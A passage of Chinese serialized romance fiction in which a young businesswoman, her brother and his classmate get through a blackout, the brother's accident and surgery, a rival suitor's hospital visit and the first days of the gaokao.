来自绪东阳身上的温度似乎更近了,他在她身前俯下了身,宽厚的手掌盖在了她的额头上。 他的手不是养尊处优的手,虎口、掌心和关节处,均有厚茧。那茧硬而粗糙,摩挲在她的额头上,带来一种刮伤感。 他掌心的味道也不难闻,散发着淡淡的柠檬洗手液的清香,莫名让人有些踏实,有些心安。 此时谈丹青已经彻底清醒,绪东阳身上衣服在走动时发出的细碎声,传入耳中,如雷声般清晰。 她一时不知如何用清醒的状态面对绪东阳,一番踟蹰,最后干脆抱上鸵鸟心态,特意放缓呼吸,紧紧闭着眼睛,假装还在熟睡。 紧接着,一个微凉的东西在她额头上碰了碰。 她没能立刻反应过来那是什么,然后听到“滴”的一声提示,才恍然大悟,那是一支温度计。 体温计离开她的额头后,绪东阳没有立刻走开,他继续立在沙发前。 谈丹青无法睁眼,看不到也听不到绪东阳到底在做什么。她屏着呼吸,耳畔自己的心跳声震耳欲聋。 不知过了多久,绪东阳再次俯下.身。 谈丹青能感觉到,这一次他离她离得很近,近到他鼻端呼出的热气吹拂在她的面颊上。 她不敢动弹,僵硬的手按着胸口,胸骨下飞快跳动的心,似乎要从嗓子眼里跳出来。 热气忽缓忽急,他在这个位置停了片刻,最终什么也没有落下来,只是给她身上披了一条暖和的棉被。 【作者有话说】 嘎嘎嘎:-D:-D:-D 明天我的ip就要切新疆啦!!!起飞!! 但是存稿箱已提前备好, 继续发车发车! 30 第30章 ◎停电◎ 高三生的春节过得又急又快,没睡几个懒觉就过完了。开学后学业更紧,就算是心态王者的谈小白,也有忍不住拉开窗户对天长啸冲动,“明天就考吧!早死早超生!” 一而再,再而三,三而竭。越临近考期,反而有一种笼中困兽的压抑。恨不得破罐破摔,裸着上考场算了。 相比之下,绪东阳还是沉默。 他每天只按部就班地做三件事——刷题、听英语听力和长跑。 绪东阳的寡言和循规蹈矩,让谈丹青以为他的心态就如同他所表现出来的一般稳。直到她偶然看到绪东阳房间里的拳击沙包被打坏了,才知道绪东阳心里也压了不少东西。 一晃眼,二月二,龙抬头。 这天舅舅们终于能松口气。 谈小白和绪东阳好长一段时间没理发,头发都长了,出门找理发店。随便进一家理发店都爆满,至少要等一两个小时。谈小白不想耗这个时间。有这闲工夫,还不如回家做几套题。 “回去让我姐帮我们剪吧。”谈小白说。 “她会剪头发?”绪东阳意外。 “当然,”谈小白非常骄傲地说:“我姐无所不能啊。我小时候头发都是她帮我剪的。”他摸了摸鬓角,“还能剃闪电的图案。” 回家后,谈丹青给谈小白理了发。高三了,就没再整花活,简单修了一下长度,然后将耳朵后面推短。 给谈小白理完,谈丹青拍了拍围布,叫绪东阳坐过来。 绪东阳坐到椅子上,头刚好到她的胸口。 他的头发摸起来比谈小白更硬,手指从发尾间穿过时,略有些扎手,像炸了毛的刺猬。 发根很干净,每天都有认真清理。 谈丹青将手中剪刀对齐绪东阳眼前过长的碎发。 咔嚓咔嚓,短短的发茬在绪东阳眼皮前落下。 “你也别把自己逼太近了,”她的手指偶尔会按压在他的头皮上,落下深浅不一的旋涡,“劳逸结合。” “听到了没有呀?” “嗯。”他看着镜子里的谈丹青,低低沉沉地应了一声。 她突然放下剪刀,手指抓了抓他的头发,笑着看向镜子,“行了。” * 毕业后,很多同学不会再有联系,于是最后这十来天,谈小白打算跟刘彤表白。他求绪东阳帮他打个掩护。绪东阳本来是不同意,但耐不住谈小白软磨硬泡,终于松了口风,说:“最晚十点回。” “好嘟好嘟。”谈小白打了包票。 这天晚上,谈丹青从公司回来,就看见客厅里只有绪东阳一个人在做题。 “小白呢?”谈丹青问。 绪东阳不假思索,当场就把谈小白给卖了,“他今晚跟刘彤在外面吃饭。” “这小子!”谈丹青撇了撇嘴,倒也没生什么气。 谈丹青抱出笔记本电脑,她本来打算上楼看。但家里现在只有他们两个人,他俩从毕业晚会那天之后,就没有再单独相处过,特意独自上去,反而像是心有芥蒂。 于是谈丹青坐到了绪东阳对面。 暮色透过纱帘漫进客厅,将绪东阳的侧脸镀上一层柔和的轮廓。他解题时很专注,能保持一个姿势很长时间不动。谈丹青不禁感慨,如果谈小白有绪东阳一半坐得住,她也就不愁什么了。 两人面对面坐着,学习的学习工作的工作,过了一个多小时后,绪东阳才起身倒水喝。谈丹青便也转动脖颈放松。 她瞧了一眼绪东阳的题目,全对,卷面也整整齐齐。她难得在绪东阳这里找到了做姐姐的骄傲,有模有样地说:“你学得很不错啊。” 绪东阳撩起眼皮瞧了她一眼,嘴角扯了扯,似乎含了点笑,然后拖长着语调,说了声:“你要检查?” “对啊,不行?” “行。”绪东阳抬起双手,做出向她投降的姿势,“随你检查。” 谈丹青今晚无事,便拾起绪东阳的笔记本看了起来。 她没读几年书,高中一毕业就出来做生意赚钱,绪东阳做的那些笔记,她没多少能看得懂。 化学书上的那些配图倒是引起了她的注意。 不是别的,单纯比较好看。 一个个涵盖了英文字母、阿拉伯数字和加减符号的化学方程式,看起来特别像富有未来科技感的图案。 她瞬间冒出一个挺特别的念头。 这种花纹印在内衣上,会好看吗? 她在这一章停了很久。 绪东阳放下水杯,倾身过来,问她,“这一页有什么问题?” “没什么,就在想,如果要用化学方程式写一句有意思的话,能怎么写?”谈丹青捉摸着。 绪东阳略一思索,笔尖唰唰在纸上写下一串化学方程式: Mg+ZnSO=Zn+MgSO 谈丹青好奇地问:“这个是什么?” 绪东阳解释道:“Mg这个化学元素是镁,Zn这个化学元素是锌。连起来就是,你的镁,夺走了我的锌。” “什么?”谈丹青一头雾水。 绪东阳不得耐心地进一步解释:“这是个谐音梗,你的美,夺走了我的心。” 任何笑话只要解释,就会变得一点都不好笑。 谈丹青嘴角抽搐。 竖起书,挡住自己的脸。 “怎么了?”绪东阳问。 谈丹青躲在书后面,哈哈笑了一会儿,才放下,笑着说:“咳咳咳,术业有专攻,术业有专攻哈。” “这个方程式怎么不好?”绪东阳追问。 谈丹青已经非常努力在忍笑了,但绪东阳一本正经的样子,真的让她特别想笑。她最后招架不住,放下书,脸贴在桌上笑,“太土了!真的太土了,老年人都不会说的土味情话。” 绪东阳突然倾身来,看着她。 头顶吊灯洒落下光芒。 让他的脸在她眼前变得尤为清晰。 “很土吗?我觉得挺浪漫的。” 她心头一紧。 忽地有一种慌张无措的感觉。 这时听到电流滋滋响。 紧接着“啪”的一声。 电流短路。 眼前的世界顿时陷入一片漆黑。 视线还没有适应这种黑暗。 视网膜上残留着深浅不一的红点。 “应该是跳闸了吧?”谈丹青正欲起身,出去看看。 黑暗里,绪东阳却稳稳当当地,握住了她的小臂。 她不怎么怕黑。或者说,她早就学会了,要把“害怕”这种情绪屏蔽掉。因为她知道,怕也没用,怕也要面对。但此时伸手不见五指的黑暗里,突然有一根可抓着的浮木,这种感觉也很微妙。 “太黑了,”绪东阳说,“我去吧。” “没事,”谈丹青缓缓眨了眨眼睛,说:“也没有暗到完全看不清。” 谈丹青没再说什么。 绪东阳扶着她的那只手,也悄然收了回去,“你抓着我袖子吧。” “嗯。”谈丹青没再抗拒,抓上绪东阳的袖口。 绪东阳虽然为了让她抓牢往里缩了手,但她的指尖依然会触碰到他的小臂,感觉到蓬勃的肌肉在她指尖有一种跳动的生命力。 开门时,谈丹青正好遇到吴婶抱着小宝上楼回家。谈丹青问:“吴婶,你家停电了吗?” 吴婶开门开灯,灯也没亮,“停电了。” 谈丹青看了眼手机,“我们栋停电了,电压器在维修。” 她抬步要走,正好一脚踢在了椅腿上。 绪东阳从身后扶住了她*。 吴婶说:“你们家有没有蜡烛?拿根蜡烛过去。” 谈丹青说:“不用,我家里有。” 回家谈丹青眼睛基本适应了光线。 她从抽屉里翻出蜡烛。 蜡烛点亮后,幽光立刻照亮了绪东阳的脸。 谈丹青说:“你接着写作业吧。” 绪东阳说:“倒也不必吧。” “也是,”谈丹青说:“把眼睛给看坏了,玩会手机吧。用流量。” 两人借着蜡烛的光玩手机。 谈丹青看见绪东阳的影子在墙上晃,于是放下手机,对着墙将两只手并在一起,手指的影子投在墙上,刚好是一只小狗。 于是绪东阳也学她,做了一个同样的手势,但做得没谈丹青好。 谈丹青立刻哈哈大笑起来,过去握住了他的拇指往下压,说:“不对不对,大拇指放下来一点。” 绪东阳不看投在墙面上的影子,去看她,他的眼睛本来就漆黑而深邃,在没有灯的夜色里,犹如鬼魅。 “我小时候经常跟谈小白这么玩,”谈丹青想到以前小时候的事,嘴角露出微笑。 “谈小白小时候皮吗?”绪东阳扭头问她。 “皮!”谈丹青感慨,“巨皮无比!你觉得他现在皮吗?” “有点。” “把他现在‘皮’的程度乘以三,就是他小时候皮的程度!” 绪东阳发出一声哑笑。 谈丹青越说越来劲儿,“你猜他十三岁的时候,偷偷跑出去干什么了?” “干什么?” “跑去打工!” “十三岁?”绪东阳说:“那不是才初中。” “对啊!他跑去黑工厂打工,差点被机器切断了一根手指头,”谈丹青声音渐渐放缓,最后变得像云一样轻,“我把他带回家后,他跟我说,他不想当拖油瓶……” 谈丹青撇了撇嘴角,发出“嘁”的一声笑,“就皮。” 这时听到“滴滴”的声响,屋里的电器依次亮起了灯。 “终于来电了。”刺目的光线让谈丹青下意识眯起眼,她眨了眨眼睛,然后起身吹灭了蜡烛。 灯一亮,方才他们在黑暗里隐蔽的亲昵,也仿佛跟着阴影一同消失了。 “我回房间了。”谈丹青说。 “嗯,我也先回房了。”绪东阳点点头。 谈丹青拢起桌上的东西,这时手机突然震了起来。 她两只手拿着电脑和水杯,一阵慌乱里,桌上一只玻璃杯突然就砸在了地上。这只突然碎裂的杯子,令谈丹青立刻左眼皮跳了起来。 绪东阳立刻站了起来,说:“没事,我去厨房拿扫帚。你别乱踩。” 谈丹青心神不宁地接通电话:“喂,哪位?” “是谈小白的亲属吗?” “对,我是……” “嗯。” “嗯……”谈丹青听着电话,身子歪了歪,扶住桌角,“什么?” “怎么了?”绪东阳连忙扶住了她的手肘。 谈丹青第一次没有推开他的手,反而紧紧地抓住了他的手掌。 她的手滑腻,但很凉,指甲几乎要陷进他的皮肤里,带着微微的颤抖。 “是小白……”她嘴唇颤抖,语无伦次:“医院,小白,小白出事了。” 绪东阳也怔了怔,但他很快冷静下来,收紧手臂,稳稳地托住她摇摇欲坠的身体,说:“先别慌,我们现在就去医院。” 30-40 31 第31章 ◎以后,我站在你前面◎ 今晚医院附近发生了几起交通事故,急诊室很多人,走廊里也挤满了人。医生护士一路狂奔,推着嗷嗷叫的伤员进手术室。 谈丹青的视线在混乱的人群中游移,却始终没看到谈小白。她的手指发木,耳膜嗡嗡作响。 “我去问。”绪东阳的声音穿透嘈杂。他看到了一张空椅子,立马领她过去坐下,然后脱掉运动外衣,围在她的肩头。宽厚的手掌在她肩上按了按。 带着体温的衣料轻轻覆在谈丹青身上,她下意识抓紧了那件外套的领口。 她看到绪东阳一次次挤进拥挤的咨询窗口,拦下行色匆匆的医生护士打听情况。 这大概是她第一次遇事没有冲在最前面。 她也想往前冲,但双腿却灌满了铅,钉在原地动弹不得。 害怕,逃避……一个接着一个可怕的幻想,在她脑海里横冲直撞:如果前台护士是叫她来指认尸体的怎么办?如果她再也见不到谈小白怎么办? 不知过了多久,绪东阳折了回来,前额碎发被汗水浸湿了。 “护士说,要再等一等。” “嗯,好。”谈丹青嘴唇颤抖地说。 她茫然地直视前方,双手瘫在膝头,指尖时不时无意识地抽搐。 身旁的座椅发出轻微的吱呀声,绪东阳挨着她坐下。 紧接着,温热的掌心,缓缓覆上了她的手背。 这一次,谈丹青没有抽回手。她的手指在他掌心里微微蜷缩。指甲掐着他的掌心,像是在抓紧一根救命稻草。 又是一阵无意义地漫长等待,“谈小白的家属?谈小白家属。”一名穿白大褂戴口罩的医生突然从病房出来。 “我。” “我。”谈丹青和绪东阳同时站了起来。 “是我,”谈丹青清了清嗓子,哑声说:“我是谈小白的姐姐。” “哦,好。”医生说:“不是什么大事啊,腿被撞了,马上要做手术。你来签个字。”说着递过来一张同意书,“你来签个字。” “好。”纸页在谈丹青手中簌簌作响,那些密密麻麻的重要条款,谈丹青一个字也看不进去,她找到需要签字的地方,抓起水性笔写自己的名字。手还在抖,落下的字像一团蚯蚓。 绪东阳的手就在这时覆了上来。 他的掌心温热干燥,稳稳地包裹住她冰凉的手指,带着她一笔一划写自己写过无数遍的名字。 有一瞬间,她甚至恍惚忘了自己的名字该怎么写,只能任由他牵引着,终于在纸上留下完整的签名。 签完字,谈小白被推进手术室,随后“正在手术中”的大灯亮了起来。 “靠着我睡一会儿吧,手术要好几个小时。”她被绪东阳牵着到门外长椅上坐下。 谈丹青摇了摇头,说:“睡不着。” “好。”绪东阳没坚持,安静地陪着她。消毒水的气味中,他的身上带着奔跑后的热度,像块温热的岩石。 谈丹青盯着头顶的大灯,红色的灯光很刺眼,瞪一会儿就眼睑酸疼,直到眼眶酸胀得再也承受不住,才将头埋了下去。 她侧过身,背对着绪东阳,开口道:“其实,我以前也烦过谈小白。” 绪东阳倏地转头。 谈丹青始终低着头,后颈露出一小截苍白的皮肤,在灯光下几乎透明。走廊的灯光从头顶泼下来,在她周身镀上一层朦胧的光晕。 “累的时候,饿的时候,困的时候。”她的声音闷闷的,带着好多年积压的委屈,“以前每逢这种时候,我就特烦他。我当时也是个孩子呀,我也想有人照顾我,有人站在我前面,凭什么要我给他当老妈子?所以有一次,我故意把他扔菜市场,自己偷偷跑回去。后来,我折回去接他,他手里还拎着我要他买的圆白菜。他当时可能知道我要扔他吧?我也不知道……” “谈小白其实很聪明的,”谈丹青发出一声极轻的哭腔:“我知道他为什么不愿意好好读书,他就是怕,如果成绩太好了,我就会一直供他读,这样会花很多钱,花很多时间,他想早点出来打工,不想拖着我。” 说到最后,谈丹青声音几乎听不见了。 她的背弓成一道脆弱的弧,双手死死攥住衣摆,消瘦的肩胛骨在外衣下起起伏伏。 绪东阳再也无法克制,从背后环住她颤抖的肩膀,然后手臂一寸寸收拢,仿佛要将她整个人嵌在自己怀中。 他紧紧地抱着她,温暖细密的吻,不断降落在她的发顶,像夏日里的一场骤雨,“以后,我站在你前面。” 掌下的身躯僵硬了一瞬,而后慢慢塌陷下来。谈丹青扭回脸,悄悄将头靠在了他的肩膀上。 这晚谈丹青无声地哭了好一会儿,那些压抑多年的委屈、自责、心疼,此刻全都化作滚烫的液体奔涌而出,渗透领口的布料,灼烧着他的皮肤。 绪东阳的下巴抵在她发顶,手掌不断在她后背轻轻拍着,时不时在她头顶落下吻,像是安抚受惊的孩子。 两个小时后,天蒙蒙亮,正在手术中的提示灯终于熄灭了,绪东阳搂着谈丹青站了起来。医生已经出来了,但没见谈小白被推出来。谈丹青心急如焚:“小白怎么还不出来,是不是,是不是……” “先别着急,”绪东阳安抚道:“我去问问。” 绪东阳过去问医生具体情况,医生说手术进行得非常顺利,谈小白这个年龄恢复起来很快。谈丹青这才心中巨石落地。 这时谈小白被推了出来,他的腿上打了石膏,脸色有点苍白,看起来挺可怜。 “姐……”他迷迷糊糊地叫了谈丹青一声。 医生看着病例,说:“我看他是高三生吧?今年高考?” “对。”谈丹青点了点头。 不过现在这情况,谈小白就算是辍学,她也一点都不生气了。 “那他要打着石膏参加考试了。”医生轻松地说。 “还能高考?”谈丹青意外道。 “当然能啊,”医生说:“只是伤着腿了,手和脑子都没问题。” “哎哟喂……”躺在病床上的谈小白开玩笑道:“我都这样了还要考啊!” 谈丹青鼻头发酸,抬手就要给他一巴掌,但这一巴掌落下去,变成在他苍白的脸上轻轻拂了拂。谈丹青捂住脸,啜泣地骂了一句:“混账玩意儿……” 手术结束后,谈小白留在观察室待了一段时间,又被送去病房,个至少要在医院观察两三天。医院还有一些手续要办,都是绪东阳去跑。 等他回来时,就见谈小白金鸡独立地站在床下,而谈丹青躺在他病床上已经睡着了。 他一进来,谈小白就对他做嘘嘘嘘的手势,“刚睡着。” 绪东阳便轻手轻脚地放下了手中一只饭盒。 “我姐一晚上没睡吧?”谈小白说。 “是。”绪东阳说:“她担心了你一整晚上。你到底怎么回事?你不是去跟刘彤约会了吗?” 谈小白苦笑,说:“刘彤没答应呗。” “然后你就想不开去撞车?”绪东阳冷冰冰地说。 “怎么会!”谈小白说:“我是那种人吗?她拒绝我后,我就回去了啊。骑车的时候没看到,就……”他拍了拍他的石膏腿,说:“自由落体了一小段,然后就这样了。” 绪东阳说:“这些话,等你姐醒了,你别在她面前说。你知不知道,她昨天晚上有多担心你?” “哭了没?”谈小白看着谈丹青的睡颜问。 “哭了好半天。” “昨天谢谢你帮忙,”谈小白轻轻叹了口气,说:“我这几天,只能在医院待着,你就再帮着照顾一下我姐吧。” “嗯。”绪东阳点了点头。 * 下午谈丹青还留在医院,时不时使唤谈小白削个苹果什么的。突然电话响起,魏繁星打来电话。她有些意外,魏繁星跟她有段时间没联系了。 “听小吕说,你弟弟进医院了?”魏繁星问。 “他怎么还跟你说了?” “既然你弟弟受伤了,那你公司的事,就不用盯那么紧。这段时间,好好照顾你弟弟吧。”魏繁星说。 “谢谢。” “你现在在什么医院?”魏繁星又问。 “省医院。” “还是找好一点的医生吧,我给你联系两个主任医生过来。” 谈丹青说:“不用了,小白他手术已经结束了,医生说手术效果非常好。” “多几个医生看一看,总不是坏事。”魏繁星又问:“你弟弟住的是什么病房?” “普通病房。”谈丹青如实回答。 “我给你改成vip病房。”魏繁星说。 “不用。” “普通病房跟住在超市有什么区别?”魏繁星不屑地说:“我都给你安排好了。” “真不用了,谢谢。”谈丹青说:“我们只在这儿住几天就能回去了,他伤的是腿,换了换去也麻烦。” 魏繁星那头静了静,半晌说:“行。”顿了顿,又说:“那我晚点来看你。” “嗯。”谈丹青随口应了一声。这不过魏繁星的一句客套,她不觉得魏繁星真会纾尊降贵到“超市一样”的普通病房来。 挂了电话,谈丹青回到病房,谈小白和绪东阳两人正在说话,同时停下来抬头看她。 谈丹青说:“我开车回家一趟,有些生活必需品要拿。医院附近小超市里卖的用着不习惯。谈小白,你还要什么?” 谈小白尖叫说:“手机,我的手机!” 他的手机已经摔坏了,只能用之前淘汰掉的备用机。 “知道了。”谈丹青翻了个白眼。 绪东阳起身说:“我跟你一起去吧。” “不用,”谈丹青说:“你帮我看一下谈小白,我马上回来。” “好。”绪东阳点点头。 回到车上,谈丹青没有立刻启动,她降下车窗,搓了搓脸。 昨晚她六神无主时,绪东阳如何帮她处理事情还历历在目,来自他肩头的温度和踏实感,到现在仿佛还残留在她的身上。 躲在别人身后的经历,对她来说仅有这一次。 但她不得不承认,终于有人顶在前面,保护她,为她冲锋陷阵的感觉,意外地,非常美妙。 “他总不可能,一直都是个高中生吧?” 郑芳那句无心说的话突然在谈丹青脑中响起。 “如果他不是高中生了,你喜欢他吗?” 喜欢吗? 谈丹青心里有点乱,她摇了摇头,握紧方向盘,深吸一口气,终于踩下油门,开车回去。 【作者有话说】 马上就不是高中生了!!!! 32 第32章 ◎高考◎ 当天下午,魏繁星就特意安排了两位鬓角染霜的骨科老专家,为谈小白复查X光片。 两位大夫扶着老花镜,对着光片反复查看,最终点头确认:“手术很成功,没什么问题。” 老专家得出的结论,与谈小白原本的医生完全一致,但这次额外的专家会诊,无形中透露出对青年医生的不信任。 谈小白的主治医生临床经验丰富,对病情也十分关心,谈丹青心里过意不去,特意定制了一面锦旗,又挑选了果篮,送到了青年医生的诊室。 到了吃饭的时间,绪东阳从食堂打了两份盒饭回来,刚跑到病房门口,视线便被一大捧纯白馥郁的百合花霸道占据。 魏繁星西装笔挺,正微微仰头确认房号,花束几乎遮了他半张脸。 花束挪开,魏繁星看到行色匆匆的绪东阳。他眯了眯眼,“怎么没去高考?” 绪东阳紧了紧后牙槽。高考还在几十天后,魏繁星此时此刻拿高考说事,是讽刺他年纪小。 他昂头,迎着魏繁星挑衅的目光,说:“魏总日理万机,倒有空来送花?手术那天,怎么不见人影?” 谈丹青从谈小白主治医生那儿一回来,撞见的正是这一幕,魏繁星和绪东阳两人堵死了病房门口,互不相让。 这时一名护士大姐姐冲过来说,“病人家属,病人家属不要堵着路口啊,让一下让一下。” 魏繁星和绪东阳让出道,看到回来的谈丹青,同时将手中的东西递给她,“给你的。” 谈丹青在鲜花和饭盒中犹豫了一瞬,最后接过绪东阳手中沉甸甸的盒饭。 “其实你不用过来……”她对魏繁星说。 魏繁星眸色微沉,面上却维持着风度,将花束轻放在一旁空着的花瓶里:“我过来看一看,不然不放心。你弟弟的腿,我另安排医生看过,手术做得不错。” “饿啊孩子饿啊……”在床上动弹不得的谈小白左等饭不来,右等饭不来,嗷嗷叫喊起来, “饿不死你。”谈丹青没好气地进来打开饭盒。 绪东阳一共买了三份盒饭,一份病号饭,两份医院附近的小炒菜。病号饭里没什么油水,就是些水煮白菜加白米饭。给谈丹青买的小炒倒是十分可口,青椒回锅肉色泽油亮。 看到谈丹青的碗里有肉,他碗里没有。 谈小白顿时又哀嚎漫天:“都比我吃得好。天理何在!” “再叫吃都没得吃!”谈丹青吓唬了谈小白一句。 谈小白立刻噤声,埋头扒饭。 盒饭只有三份,但魏繁星也在,谈丹青起身说:“要不你吃我的,我再去买一份。” 魏繁星扫了一眼沾着油渍的廉价塑料盒饭,一丝不悦浮上眼底。他整了整袖扣,说:“不必了,公司还有事,先走一步,你们吃吧。” 魏繁星走后,谈小白长松口气,冲谈丹青挤眼睛,说:“姐,他以后不会就是我姐夫了吧?他在这儿,我饭都咽不下。” 绪东阳扭头盯着谈丹青。谈丹青慢条斯理地吃了一口青椒,说:“少胡说八道。” * 到了下午,谈小白的同学带花和礼物来看望。 李远一进来就哈哈大笑,然后拍了拍他的那条好腿,说:“真羡慕你,不用考试了。” “放屁,”谈小白大声说:“老子还要考!” 其他同学立刻笑疯了,“这也太惨了。” 谈小白绘声绘色地讲起来他是怎么被车撞,“说时迟那时快!那辆车唰地就冲过来,我直接一个侧身翻滚,可惜还是被蹭到了腿……” 李远他们笑得前仰后俯。 “医生查房啊,怎么你们病房这么多人。”这时医生进来查房,检查谈小白伤口情况,“保持敷料干燥清洁,术后3天换药一次,14天拆线,拆线前避免沾水。” 谈丹青站在床边认真听着,余光却瞥见绪东阳不知何时也站在角落里,正低头在笔记本上记录着什么。 她忽地觉得,今天绪东阳的样子似乎变了一点,但哪里不同,她一时又说不出。 目光掠过绪东阳的下颌时停顿,她终于看清绪东阳嘴角下有一层淡青色的胡茬。 她从未见过这样的绪东阳,他总是对外表很讲究,下巴干净,衣领整洁。这些胡茬的细小的阴影,在他皮肤上蔓延,像晨雾笼罩的远山轮廓,透着陌生的雄性气息。 她垂下视线,走过去,轻轻碰了碰他的手臂:“你先回去休息吧,眼睛都熬青了。” 绪东阳摇摇头,合上笔记本:“没事。” “至少回去洗把脸。”谈丹青说。 绪东阳微怔,恍然大悟自己现在的样子一定很邋遢。 他搓了搓脸,说:“好,我再待会儿就走。” 绪东阳回去后,谈丹青就叫他别再过来。但绪东阳不听他的,继续学校医院两边跑,给谈小白带学习笔记和学校通知,检查他做的卷子。 五月江城雨水多,城市的旧墙浸泡在雨水里。谈小白住了三天院,打着石膏出院。两个月后,回医院去掉腿上打的钉子,脚上戴了固定器,可以扶着拐杖走路。 高考前几天,谈丹青跟郑芳去了庙里一趟。 庙里青烟寥寥,这天寺庙刚做了一场法事。听庙里的和尚说,每年这个时候,大家都会来这里请文昌符,保佑小孩考一个好学校。 郑芳说:“你弟弟不是也要高考么?给他们请一个?” 谈丹青看了看,问:“有平安符吗。” “有的。” “那我请两枚平安符吧。” 谈丹青将两枚符送给谈小白和绪东阳,让他们放在钱包里。平安符到了六月份要拿出来烧掉,烧成的灰撒在老树下。据说选的树越老,效果越好。 到了六月,谈丹青叫他们去外面烧符,谈小白听话的烧了。绪东阳却没有烧,他将这枚符存了下来,继续好好地放在钱包里。 * 高考前,绪东阳和谈小白的考场出来了。他俩分在了同一个考场。谈丹青松了口气,“还挺好的,到时候我正好送你们俩一起去。绪东阳也不用再自己叫车。” 谈小白说:“是啊,跟学神一个考场,都说我能沾学霸身上的福气。”说着他做法似的,隔空从绪东阳身上抓空气,然后倒在自己身上,“智商+1,智商+1。” 谈丹青笑喷,说:“神经病。” 高考当天一大早,谈丹青就开车送绪东阳和谈小白去考场。 一路上都是送高考生的车,有的车上贴了小贴纸:“家有高三生,多多体谅。” 谈丹青一路看着时间,生怕送迟了,不小心开快了,没看到后面有车过来,别到了人家车。 她猛踩刹车,见车主下车过来,有些忐忑。江城司机一个赛一个的脾气大,怕是要吵起来。 做大事讲一个吉利,今天是谈小白和绪东阳两人的大日子,结果一出门就碰到吵架的,实在不是个好兆头。 “真是……”谈丹青焦虑地拍了拍方向盘。 谈小白在后坐说:“姐,没事,还来得及。他要吵,我就跟绪东阳两人叫的士。” 车主已经走到车前,谈丹青降下车门,说:“不好意思啊,别了你的车。” 那车主本来冷着脸,一副要吵架的阵仗,但扭头一见谈丹青车里坐着两个背书包的,顿时脸色舒缓,说:“送考的啊啊?” “对,送考。”谈丹青说。 车主便说:“送考更要注意安全啊!开那么快做什么?” 然后又冲绪东阳和谈小白说:“你俩小子,高考加油啊,放轻松啊。” 谈小白嘴甜,立马脆生生地叫了一声:“谢谢哥。” 车主那年龄,本来该叫叔的,这一声哥,把车主叫得嘴角比□□还难压。他乐不可支地摸了摸下巴,说:“你们快走吧快走吧,别耽误时间了。” “谢谢啊!”谈丹青踩了点油门开走。 谈小白在后面说:“姐,你别紧张啊。” 谈丹青自己也觉得有点好笑,送考的反而要考生安慰,说:“真的是倒反天罡。” 到了考场,绪东阳掺着谈小白下来,远远看见何薇。 何薇脸晒得通红,一路小跑过来,关心地说:“快,再检查一下身份证,准考证都带了没。每年都有学生没带!” 绪东阳和谈小白都检查了一遍,“带了带了。” “谈小白这个情况,可以走残疾人通道。”绪东阳提醒何薇,何薇忙又去找考场工作人员,让谈小白走无障碍通道进考场。 “接下来就看你们的了。”谈丹青在考场外面等他们。 绪东阳和谈小白算来得早,他俩进考场后,又过了好一会儿,才隐隐约约听到考场里敲了铃。谈丹青在车上一边等,一边收工作邮件。 高考第一天早上考语文,校门口各大媒体陆续摆好设备,准备采访每年第一个出考场的考生。 附近许多年轻人过来兜售各种高考纪念品,东西都很好玩。有向日葵花束,寓意一举夺“葵”,还有小红旗,寓意旗开得胜。 谈丹青在外面等了两个半小时,终于听到考完的铃声。 谈小白和绪东阳两人一前一后地回来。 “考得怎么样?”谈丹青刚问,谈小白就冲上车喝了一大口水,说:“我先喝口水,考试的时候一口水都不敢喝,就怕想上厕所耽误时间。” “你慢点喝。”谈丹青说。 这时何薇看到他们,忙过来问:“你俩感觉怎么样?” 谈小白说:“感觉没什么难度,挺常规的。” “你呢?”何薇问绪东阳。 绪东阳点了点头,说:“难度跟模拟三差不多。” 何薇说:“这不是坏事。他俩语文一般好,题目简单一点,反而拉不开差距。下午的数学好好考。” 谈丹青说:“是的,考完一门扔一门,不想了。” 33 第33章 ◎你是我的气球◎ 考完试,中午在附近的小饭店简单吃了午饭。下午还要接着考,没点没吃过的菜,只选了家常青菜和鸡蛋。 这些店家都做考生生意,特意每桌送了一杯自己家煮的绿豆汤。 吃完饭后,在车上休息了一会儿,接着进考场考数学。 数学对绪东阳来说算是王牌,精神压力没那么大,而且经过一上午的适应,对考试的节奏也得心应手。 拿到试卷,绪东阳先从头到尾扫了一眼,看到最后两道压轴题,他心里就有谱了。难度偏高,是最后拉开差距的科目。 绪东阳一到做题,就心思专注,脑海里除了数字没有别的念头。 算完最后一题,一抬头,距离交卷还有半个多小时。他沉住气,又从头到尾检查了一遍,查漏补缺,直到老师在讲台上开始报时,才交卷出去。 从考场出来,碰到谈小白和其他几名同学。 “刘彤一出考场就哭了,说数学没考好,下午不打算来。”李远告诉他们,他跟刘彤分在一个考场,“今年数学题实在太难了,好多人心态崩了。” “啊?”谈小白杵着拐杖停了下来,说:“她下午不来,今年的成绩不就废了。何老师在哪儿,我去跟她说!” “你腿你腿!”李远说:“你进医院她都没来看你一次,你还喜欢她啊?” 谈小白说:“都是同学啊,看她这样心里不舒服。” 何薇知道情况后,立刻去联系刘彤的家长做思想工作,劝说就算没考好打算复读,下午的考试也该参加,至少积累经验。 刘彤的父母听不进去,当着所有人面大声骂:“我供你上学,供你吃供你喝,你读成这样还好意思哭?” 谈小白看着刘彤满脸通红地被家里人带了回去,叹气:“哎,心里真的挺不舒服的……” “绪神!绪神!”李远望见绪东阳过来,大声问:“A卷B卷?选择题最后一题到底选啥啊?” “不对答案不对答案!”谈小白紧捂着耳朵,说:“不听不听,王八念经。” 绪东阳也说:“考一门扔一门,考完就别管了。” “好吧……”李远叹了口气,说:“听天由命了。” 谈丹青在校门口接到绪东阳和谈小白,她一次也没问谈小白和绪东阳考得怎么样,开着车就带他俩去吃饭:“我点了楼下那家炒菜馆的特色菜,回去吃。” “太棒了!”谈小白坐在后车厢跟谈丹青说了刘彤的事,说:“姐如果我也没考好……嗨,呸呸呸。” 谈丹青考前对谈小白很严,但到今天这一步,严格不严格没什么意义,“没考好就来我公司扛箱子,还真能让你饿死?” 谈小白在后车厢嘿嘿傻笑。 第二天,谈丹青照例送谈小白和绪东阳去考场。 谈小白絮叨了一路,“姐,你别送了,我跟绪东阳打的士去一样的。” 最后把谈丹青说烦了,直接骂他:“瘸子不要发表意见。” 上午考英语,谈小白最怕考英语,去考场的路上,口中念了半天阿弥陀佛。最后临进考场的一刹那,突然大腿一拍,“靠,佛祖不懂英语啊!我应该念上帝的。” 恰好这次考试英语非常简单,这似乎是某种趋势,对英语教育的重视程度越来越低,难度也越来越低。 绪东阳出来后说,除了最后的作文,不会扣什么分。 谈小白也挺惊讶,说:“我真是怕我看错题目了,最后几篇阅读理解,我一读就读懂了。” “这次题是不难。” 有绪东阳这句话,谈小白瞬间放松多了。 谈小白跟绪东阳在后车厢你一言我一语聊着,谈丹青心里突然有一种强烈的预感。 